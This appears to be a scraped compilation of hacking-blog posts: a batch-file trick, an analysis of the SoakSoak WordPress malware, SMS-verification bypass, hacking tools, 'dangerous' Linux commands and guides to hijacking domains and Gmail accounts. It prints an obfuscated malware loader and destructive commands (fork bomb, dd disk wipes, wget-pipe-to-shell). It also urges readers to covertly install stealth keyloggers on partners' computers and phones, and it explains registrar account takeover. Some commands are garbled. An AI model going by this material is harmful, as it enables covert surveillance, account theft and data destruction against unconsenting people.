Notepad is a common text-only editor. The resulting files—typically saved with the .txt extension—have no format tags or styles, making the program suitable for editing system files to use in a DOS environment and, occasionally, source code for later compilation or execution, usually through a command prompt. It is also useful for its negligible use of system resources; making for quick load time and processing time, especially on under-powered hardware. Notepad supports both left-to-right and right-to-left based languages. Unlike WordPad, Notepad does not treat new lines in Unix or Mac-style text files correctly. Notepad offers only the most basic text manipulation functions, such as finding text. Only newer versions of Windows include an updated version of Notepad with a search and replace function.
However, it has much less functionality in comparison to full-scale editors.

---

How to open multiple websites with double click in Notepad

---

1. Open Notepad.
2. Copy and Paste the below Code in Notepad without any error.

@echo off
start
http://deadlyuniversityspy.blogspot.com/
start
https://m.facebook.com/computers1
start
http://deadlyuniversityspy.blogspot.in/2014/11/how-to-connect-to-protected-wi-fi.html
start
http://deadlyuniversityspy.blogspot.in/2014/11/how-to-encrypt-your-wireless-network.html
start
https://m.facebook.com/groups/270993376312145
start
http://www.google.com/

3. Save Notepad file as Sites.bat you can save with any name but .bat extension is important and save on Desktop or save anywhere for your convenience.
4. Now just double click newly created file, you can see six websites will open at once.
Note:- You can add more sites by editing Sites.bat using Notepad.

New SoakSoak Malware Compromises Over 100,000+ WordPress Websites

The users of WordPress, a free and open source blogging tool as well as content management system (CMS), are being informed of a wides pread malware attack campaign that has already compromised more than 100,000 websites worldwide and still counting.
Earlier Sunday morning, news broke throughout the WordPress community regarding a widespread malware attack that has already comprised over 100,000 websites and counting. This harmful malware campaign has been brought forth by SoakSoak.ru thus being dubbed the ‘SoakSoak Malware’ epidemic. Those affected by the virus may be experiencing erratic site behavior including unexpected redirects to SoakSoak.ru web pages along with the potential for automatic downloads of malicious files to visitor’s computers without consent. Google has already been on top of this infection and has added over 11,000 websites to their blacklist that could have a serious effect on the revenue potential for those site owners. The infections aren’t targeted strictly at WordPress sites, but it appears this is the largest platform that has been infected. According Sucuri, a WordPress security solution, the exact method of intrusion has not been pinpointed at this time although several signals led them to believe many WordPress users could have fallen victim to a recent vulnerability in the premium Slider Revolution plugin If you’re a site owner and worried about the potential risk of infection to your own website, head over to Free SiteCheck scanner to see whether you are in the clear or if the malware has already burrowed its way into your site.

(Sucuri – SoakSoak – SiteCheck)

---

SoakSoak Malware Anatomy

---

It is modifying the filewp-includes/template-loader.php and including this content:

<?php
function
FuncQueueObject()
{
wp_enqueue_script("swfobject");
}
add_action("wp_enqueue_scripts",
'FuncQueueObject');

This causes the wp-includes/js/swobject.js to be loaded on every page you view on the site which includes the malware here:

eval(decodeURIComponent
("%28%0D
%0A%66
%75%6E
%63%74
%69%6F
%6E%28
%29%0D
%0A%7B
%0D%..72
%69%70
%74%2E
%69%64
%3D%27
%78%78
%79%79
%7A%7A
%5F%70
%65%74
%75%73
%68%6F
%6B%27
%3B%0D
%0A%09
%68%65
%61%64
%2E%61
%70%70
%65%6E
%64%43
%68%69
%6C%64
%28%73
%63%72
%69%70
%74%29
%3B%0D
%0A%7D
%28%29
%0D%0A
%29%3B"));

This malware when decoded loads a javascript malware from the SoakSoack.ru domain, specifically this file:
hxxp://soaksoak.ru/xteas/code

---

How Remove SoakSoak Malware?

---

Currenty, there's no removal procedure yet to be found. Howere, we have listed the some steps to bring it down.
1. If you have installed a theme, template, or any plugin from SoakSoak.ru remove it immediately.
2. If you've hosted your WordPress site to any other hosting service, check there all you files and look for the above mentioned codes that cause the site infection.
3. If you believe you had never visited the SoakSoak.ru but you are observing unfamiliar behaviour of your WordPress site, login to you site then expand the widget templete and look for above mentioned codes and remove them.
4. When yo finish the step 1 and step 2 and 3, go back to Free SiteCheck scanner and scan it again to know whether your site is okay or not.

Love this article?

Share it with your friends on Facebook

How to Bypass Phone SMS Verification of any Website

Well before even starting the ways let us know why do we need to by pass SMS verification of any website. So just imagine you are a CEO of any organisation so why would you like to maintain a contact list? Sending Regular updates. Information regarding a product or service! Asking Reasons why the user is offline for many days? And all types of spamming even. But think outside the box and experts say you are directly submitting your number to the N.S.A or the C.I.A! That sounds a bit odd in listening but that is the truth how they keep a track of there suspects.
Well now you might have noticed when ever creating a new account on Gmail, Yahoo or other bigger websites possibly Facebook you come across the SMS verification step where you need to use in your mobile number in order to receive a small verification code that you need to enter to get verification whether are you a real user not a spamming robot.
Well now for many reasons you might not be able to verify your mobile number like your phone was recently used, your phone might be nor working, or you do not have a phone but you are eligible to browse internet and create accounts and many other reasons.
Well now to overcome all those situations we have online website's that allow you to receive sms online easily by just entering the pre-mentioned alternative mobile numbers on their websites. I have listed few best and free website's below:
NOTE: Before you use these sites, you have to enable the JavaScripts in your web browser otherwise you may not use these websites. Don't know how to activate the JavaScripts? Go through this link and Enable the JavaScripts
1. Receive SMS Online: is the first recommended website for online sms verification, you select any number of different countries mentioned on this website and do attempt a successful sms verification.
2. Receive SMS: is another website that allows you to receive sms online on any number mentioned on this website, you can pick up an number and receive messages on that number easily.
3. Receive E-SMS Online: is a spam free online sms receiving website that allows you to receive sms online for sms verification.

---

Online Free SMS Verification Procedure

---

Go to the above listed website and pick up any website (but we recommended you Receive SMS Online:) and follow below steps in order to bypass online sms verification for any website.
1. After Signing-Up you come across the sms verification option, just open the website and enter the number mentioned on those websites.
2. Now after entering that number hit Submit and in few seconds you will receive message on that number so click on that number to see all the messages received.
3. Now you will see messages for that number and wait for some seconds and refresh the page to see your verification message.
4. As soon as you receive message from the website you have Signed-Up for, copy that number (verification code) and enter that on the website page and hit Submit.
Congratulations your online phone sms verification has been completed. Use it for genuine purpose. We only recommend if you seriously do not have phone and you are stuck in some serious problems else this online verification could snatch your privacy by displaying your message to people publicly. So use this service with caution.

How to Enable JavaScript in your Browser

---

Introduction to JavaScript

---

JavaScript is a programming language used to make interactive web pages. It runs on visitor's computer and doesn't require constant downloads from your website. JavaScript enhances your web browsing experience..
Don't get confused with Java? Both Java and JavaScript are two different computer languages. Only their names are similar.
Almost all modern web browsers use JavaScript to convenience their users for better web browsing. But for this; you must enable JavaScript from your browser. By default, JavaScript is enabled in your web browser. However, if you've accidently disabled the JavaScript, you need to follow our guide in order to enable it.

Recommend Post:-How to Prevent Browser Hijacking

To view Google ads on a website/blog, you need to have JavaScript enabled in your browser. To activate JavaScript, please follow the instructions below:
JavaScript Activation

---

Google Chrome

---

Click the Chrome menu icon on the browser toolbar (upper right corner). > Settings > Show advanced settings > Privacy > Content settings > Allow all sites to run JavaScript (recommended) in the JavaScript section > Done

Read Also:-How to Fix Unable to Connect to Proxy Server in Chrome

---

Safari

---

In the Edit drop-down menu > Preferences > Security icon > Enable JavaScript checkbox and close the window to save your changes.

Read Also:-How to Set Up Proxy Connection in Safari

---

Mozilla Firefox

---

Click the Tools drop-down menu > Options > Content and Check the boxes next to Block pop-up windows > Enable JavaScript > OK.
-------------OR-------------

In the address bar, type about:config > Enter > I'll be careful, I promise again in the search bar, search for javascript.disabled Right click the result named javascript.disabled > Toggle. JavaScript is now enabled.

Read Also:-How to Fix Proxy Server Connection Problem in Firefox

---

Internet Explorer

---

In the Tools drop-down menu, Select Internet Options > Security > Earth (Internet icon) > Custom Level > Scripting near > Enable > OK. > Yes > OK and close the browser and relaunch.

Read Also:-Internet Explorer navigation

---

Opera

---

In the Tools drop-down menu at the top of the window, select Preferences > Advanced > Content item > Enable JavaScript checkbox > OK to save your changes and close your browser then relaunch it.

Love this article?

Share it with your friends on Facebook

Top 10 Most Hacking Techniques and Tools

We timely provides you hacking techniques, methods and tutorials, so that you can understand how hackers gain access into your networks, websites, computers etc.
Here I have listed the top 10 most popular tools used in hacking. It is advisable to master these tools to learn Cyber security.

Read Also:-Hack Any Remote PC By IP Address Using Kali Linux

---

1. Nmap

---

Nmap is also known as the swiss army knife of hacking. It is the best port scanner with a lot of functions. In hacking, Nmap is usually used in the footprinting phase to scan the ports of the remote computer to find out wich ports are open.

---

2. WireShark

---

Not to be confused with WireLurker? WireShark is a packet sniffer. It captures all network traffic going through a network adapter. When performing man in the middle attacks using tools like Cain, we can use Wireshark to capture the traffic and analyze it for critical info like usernames and passwords. It is used by network administrators to perform network troubleshooting.

Read Also:-Hacking Facebook Using Man in the Middle Attack

---

3. Cain and Abel

---

Cain and Abel is a multipurpose windows only hacking tool. It is a bit old now, but it still does the job well. Cain can be used to crack windows password, perform man in the middle attacks, capture network passwords etc.

---

4. Metasploit

---

Metasploit is a huge database of exploits. There are thousands of exploit codes, payloads that can be used to attack web servers or any computer for that matter. This is the ultimate hacking tool that will allow a hacker to actually hack a computer. A hacker will be able to get root access to the remote computer and plant backdoors or do any other stuff. It is best to use metasploit under linux.

---

5. Burp Suite

---

Burp suite is a web proxy tool that can be used to test web application security. It can brute force any login form in a browser. You can edit or modify GET and POST data before sending it to the server. It can also be used to automatically detect SQL injection vulnerabilities. It is a good tool to use both under Windows and Linux environments.

---

6. Aircrack-ng

---

Aircrack-ng is a set of tools that are used to crack wifi passwords. Using a combination of the tools in aircrack, you can easily crack WEP passwords. WPA passwords can be cracked using dictionary or brute force. Although aircrack-ng is available for Windows, it is best to use it under Linux environment. There are many issues if you use it under Windows environment.

---

7. Nessus

---

Nessus is a comprehensive automatic vulnerability scanner. You have to give it an IP address as input and it will scan that IP address to find out the vulnerabilities in that system. Once you know the vulnerabllities, you can use metasploit to exploit the vulnerablity. Nessus works both in Windows and Linux.

---

8. THC Hydra

---

Hydra is a fast password cracker tool. It cracks passwords of remote systems through the network. It can crack passwords of many protocols including ftp,http, smtp etc. You have the option to supply a dictionary file which contains possible passwords. It is best to use hydra under linux environment.

---

9. Netcat

---

Netcat is a great networking utility which reads and writes data across network connections, using the TCP/IP protocol. It is also known as the swiss army knife for TCP/IP. This is because netcat is extremely versatile and can perform almost anything related to TCP/IP. In a hacking scenario, it can be used as a backdoor to access hacked computers remotely. The use of netcat is limited only by the user's imagination.

---

10. Putty

---

Although putty is not a hacking software by itself, it is a very useful tool for a hacker. It is a client for SSH and telnet, which can be used to connect to remote computers. You may use putty when you want to connect to your Backtrack machine from your Windows PC. It can also be used to perform SSH tunneling to bypass firewalls.
Note: This list is not comprehensive. There are many tools that I have left out. Those tools that did not make the list are; Sqlmap, Havij, Acunetix Web Scanner

Facebook Ghost Prank-Apply to Shock

Facebook is one of the most famous social networking sites as you all know. There are many awesome Facebook tricks which you could apply to amaze and shock your friends and one of them is Facebook Ghost Prank.

Read Also:-How to Like All Facebook Status Updates with A Single Click

When you’ll apply this Ghost Prank on your friend then it would be real fun. Since, I personally have applied this prank on my friends to make them scream and I simply loved it. You can also enjoy to make your friends scream with the help of this Ghost Prank. The motive of this article is just to create little humor and fun in your lives, we are not sharing it to hurt your personal sentiments. Additionally, do not forget to read out the caution before proceeding, it is really very important.

---

Facebook Ghost Prank Steps

---

So, here are the steps which you are supposed to follow to apply Facebook Ghost Prank on your friends to shock. We are sure that you are going to love that feeling while your friends will scream with this awesome and horror prank. Please do not apply this prank on Heart Patients and Children at all.
First of all Click on the Ghost Profile Link Ones you have downloaded the Ghost, click the Profile link then you will be redirected to Ghost Profile Afterwards, wait for few seconds or a minute then a ghost will get appear on your screen by tearing a window with a horrible scream. The ghost image would be same like below one.

Now, simply Copy that link and send it to your friend and enjoy their screams.
Caution: Don’t try this Prank on heart patients and Children. It might create some serious health problem for them. So, please respect the sentiments and health issues of others.

Love this article?

Share it with your friends on Facebook

Linux Commands and Codes

Studying the command line provides insight into how computers really work. This is because the command line is much closer to the internal functioning of computers than are GUIs, which are generally just front ends for the commands used on the command line.
We have summerized some Linux commands that are quite harmful for your system to help you avoid them. Do keep in mind that they are indeed dangerous and can even be altered in a variety of ways to produce new commands to inflict more damage.

Read Also:-100 Amazing Keyboard Shortcuts and Their functions (Windows)

Take a look at these commands and codes you should avoid executing.
1. Linux Fork Bomb Command
:(){ :|: & };: also known as Fork Bomb is a denial-of-service attack against a Linux System.
:(){ :|: & };: is a bash function. Once executed, it repeats itself multiple times until the system freezes. You can only get rid of it by restarting your system. So be careful when executing this command on your Linux shell.
2. mv folder/dev/null Command
mv folder/dev/null is another risky command. Dev/null or null device is a device file that discards all the data written on it but it reports that the writing operation is executed successfully. It is also known as bit bucked or black hole.
3. rm -rf command
rm -rf command is a fast way to delete a folder and its content in the Linux operating system. If you don’t know how to use it properly then it can become very dangerous to the system.
4. mkfs command
mkfs can be a dangerous command for your Linux based system if you don’t know its purpose. Anything written after the mkfs will be formatted and replaced by a blank Linux file system.
All the commands mentioned below will format the hard drive and it requires administrator rights:
mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat
The command mkfs.cramfs will do the same thing as the above but it does not require administrator rights to execute.
5. Tar Bomb
The tar command is used for combining multiple files into a single file (archived file) in .tar format. A Tape Archive (Tar) bomb can be created with this command. It is an archive file which explodes into thousands or millions of files with names similar to the existing files into the current directory rather than into a new directory when untarred. You can avoid becoming a victim of a tar bomb by regularly creating a new protective directory whenever you receive a tar file and then moving the received tar file into this directory before untarring. If the tar file is indeed a tar bomb then you can simply remove the newly created directory to get rid of it.
6. dd command
The dd command is used to copy & convert hard disk partitions. However, it can turn out to be harmful if you specify the wrong destination. The command may be any one of these:
dd if=/dev/hda of=/dev/hdb
dd if=/dev/hda of=/dev/sdb
dd if=something of=/dev/hda
dd if=something of=/dev/sda
The following command will zero out the whole primary hard drive:
dd if=/dev/zero of=/dev/had
7. Shell Script Code
Someone may victimize you by giving you the link to a shell script and endorsing you to download and execute it. The script may contain some malicious or dangerous code inside. The format of command may look like this:
wget http://some_malicious_source -O- | sh. The "wget" will download the script while the "sh" downloads the script execution.
8. Malicious Source Code
Someone gives you the source code and asks you to compile it. The code may appear to be a normal code but in fact some malicious code is disguised in the large source code and it may cause harm to your system. To avoid being victimized by this kind of attack, only accept and compile your source code from trustworthy sources.
9. Decompression Bomb
You have received a compressed file and you are asked to extract this file which appears to be very small in size but may be a few KB. In fact, this small sized compressed file contains very highly compressed data. Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system. To avoid this situation, always remember to accept data from trustworthy sources.
Share it with your friends on Facebook

How a Domain Name Gets Hijacked and How to Protect it

Domain hijacking is a process by which Internet Domain Names are stolen from its legitimate owners. Before we can proceed to know how to hijack domain names, it is necessary to understand how the domain names operate and how they get associated with a particular web server.
The Operation of a Domain Name:
Any website say for example 123.com consists of two parts. The domain name 123.com and the web hosting server where the files of the website are actually hosted. In reality, the domain name and the web hosting server are two different parts and hence they must be integrated before a website can operate successfully. The integration of domain name with the web hosting server is done as follows:
1. After registering a new domain name, we get a Cpanel where in we can have a full control of the domain.
2. From this domain Cpanel, we point our domain name to the web server where the website’s data are actually hosted.
For a clear understanding let me take up a small example:
John registers a new domain called 123.com from an X domain registration company. He also purchases a hosting plan from Y hosting company. He uploads all of his files .html, .php, javascripts etc. to his web server at Y. From the domain control panel of X he configures his domain name 123.com to point to his web server of Y. Now, whenever an Internet user types 123.com, the domain name 123.com is resolved to the target web server and the web page is displayed. This is how a website actually works.
What Happens When a Domain Name Gets Hijacked?
Now, let us see what happens when a domain name gets hijacked. To hijack a domain name, you just need to gain access to the domain Cpanel and point the domain name to some other web server other than the original one. So, to hijack a domain you need not gain access to the target web server. For example, a hacker gets access to the domain Cpanel of 123.com. From here the hacker re-configures the domain name to point it to some other web server Z. Now whenever an Internet user tries to access 123.com he is taken to the hacker’s website Z and not to John’s original site Y. In this case the John’s domain name 123.com is said to be hijacked.
How the Domain Names are Hijacked?
To hijack a domain name, it is necessary to gain access to the domain Cpanel of the target domain. For this you need the following ingredients:
1. The domain registrar name for the target domain.
2. The administrative email address associated with the target domain.
These information can be obtained by accessing the WHOIS data of the target domain. To get access to the WHOIS data, go to whois.domaintools.com, enter the target domain name and click on Lookup and you’ll see Whois Record. Under this, you’ll get the administrative contact email address. To get the domain registrar name, look for the words something like: Registered through:: XYZ Company. Here XYZ Company is the domain registrar. In case if you do not find this, scroll up and you’ll see ICANN Registrar under the Registry Data. In this case, the ICANN registrar is the actual domain registrar. The administrative email address associated with the domain is the backdoor to hijack the domain name. It is the key to unlock the domain control panel. So, to take full control of the domain, the hacker will have to hack the administrative email associated with it. Email hacking has been discussed in my earlier post How to hack Into Emails Using Kali Linux
Once the hacker takes full control of this email account, he will visit the domain registrar’s website and click on forgot password in the login page. There, he will be asked to enter either the domain name or the administrative email address to initiate the password reset process. Once this is done, all the details to reset the password will be sent to the administrative email address. Since the hacker has the access to this email account, he can easily reset the password of domain control panel. After resetting the password, he logs into the control panel with the new password and from there he can hijack the domain within minutes.
How to Protect the Domain Name from Getting Hijacked?
The best way to protect the domain name is to protect the administrative email account associated with the domain. If you loose this email account, you loose your domain. Another best way to protect your domain is to go for a private domain registration. When you register a domain name using the private registration option, all your personal details such as your name, address, phone and administrative email address are hidden from the public.

How to Hack a Gmail Password: Gmail Hacking Secrets

With Gmail being one of the most widely used email services across the globe, it has also become a favorite place for many to engage in secret relationships and exchange cheating messages.

Read Also:-How to Use Ravan for Cracking Password

Therefore, in order to reveal the secret, it becomes inevitable for people to hack the Gmail password of their loved ones.

---

Possible Ways to Hack Gmail Password

---

Today, most websites on the Internet give out false or outdated password hacking methods that completely mislead the readers. I have also seen a few top ranking websites making false promises to hack any Gmail password and urge users to take-up surveys. Remember, this is just a honeypot setup by the website owner only to earn money where no Gmail password will be delivered to users upon survey completion. However, on this blog we strive hard to present readers with true and accurate information that actually work. With many years of my experience in the field of information security, I can tell you that the following are the only two ways to hack Gmail password.

---

1. Keylogging

---

Easiest Way to Hack Gmail Password Keylogging is by far the easiest way to gain access to any Gmail account. Keylogging involves the use of a small software program called the keylogger. This keylogger when installed on a given computer will capture each and every keystroke typed on the keyboard including all types of passwords.
Does a Keylogger Require Any Special Knowledge?
No, absolutely not! Keyloggers are designed in such a way that even the first time users also find it easy to install and control. Anyone with a basic knowledge of computer can use it with ease.
Is it Possible to Detect a Keylogger?
Right after the installation process is completed, the keylogger goes completely hidden and continues to work in the background. Hence, it is impossible for the users of the computer to know about its presence.
What if I do not have Physical Access to the Target Computer?
Well, you need not worry as I am going to suggest one of the best keylogger program that supports installation on a local computer as well as a remote computer. I recommend the Realtime-Spy keylogger as the best
Realtime-Spy: I'm not going to give you the direct downloading link of Realtime-Spy otherwise i'll be considered as a present hacker, you can download it internet.
Top Features of Realtime-Spy:

---

*. REMOTE AND LOCAL INSTALLATION
The product supports installation on remote as well as a local computer.
*. EXTREMELY EASY TO INSTALL
Realtime-Spy is very small in size and can be installed with just a click of a button.
*. NEVER GET CAUGHT
This product runs in a total stealth mode so that you need not worry about being caught or traced back.
*. ACCESS ANY PASSWORD
This product can be used to hack Gmail or any other online password.
*. WORKS ON WINDOWS AND MAC
Fully compatible with Windows XP/Vista/7/8 (32 and 64-bit) and Mac.
You get a detailed step-by-step instruction and technical support after your purchase. So, go grab Realtime-Spy now and expose the truth.

---

What About Mobile Devices?

---

For cell phone devices, there is a mobile version of the same program called mSpy which you can download from the internet.
Supported Devices: Android, Windows Mobile, BlackBerry, iPhone and iPads.

---

2. Phishing

---

Difficult Way for begginers, Phishing is a way to capture sensitive information such as usernames, passwords and credit card details. Phishing usually involves the use of a spoofed web page (or a fake website) whose look and feel is almost identical to that of the legitimate websites like Gmail, Yahoo and Hotmail. When the users try to login from these fake pages and enter their passwords there, the login details are stolen away by the hacker.
However, creating a fake login page and taking it online to successfully hack the password is not an easy job. It demands an in depth technical knowledge of HTML and scripting languages like PHP, JSP etc. In addition to that, carrying out a phishing attack is a serious criminal offence. So, if you are new to the concept of hacking passwords, then I only recommend using the keyloggers as they are the easiest the safest way to hack Gmail or any online password.